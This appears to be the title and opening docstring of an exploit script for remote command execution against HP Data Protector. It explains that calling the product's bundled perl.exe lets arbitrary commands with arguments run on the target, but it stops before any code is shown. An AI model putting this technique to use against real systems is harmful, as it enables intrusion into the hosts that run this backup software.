HP Data Protector – Remote Command Execution
""" HP Data Protector Arbitrary Remote Command Execution This script allows to execute a command with an arbitrary number of arguments. The trick calls 'perl.exe' interpreter installed with HP Data Protector inside the directory {install_path}/bin/. The main goal of the script is to bypass the limitation of executing only a single command without any parameter, as provided by already existing exploits. As shown below, it's possible to exploit the security issue in order to run any command inside the target system.
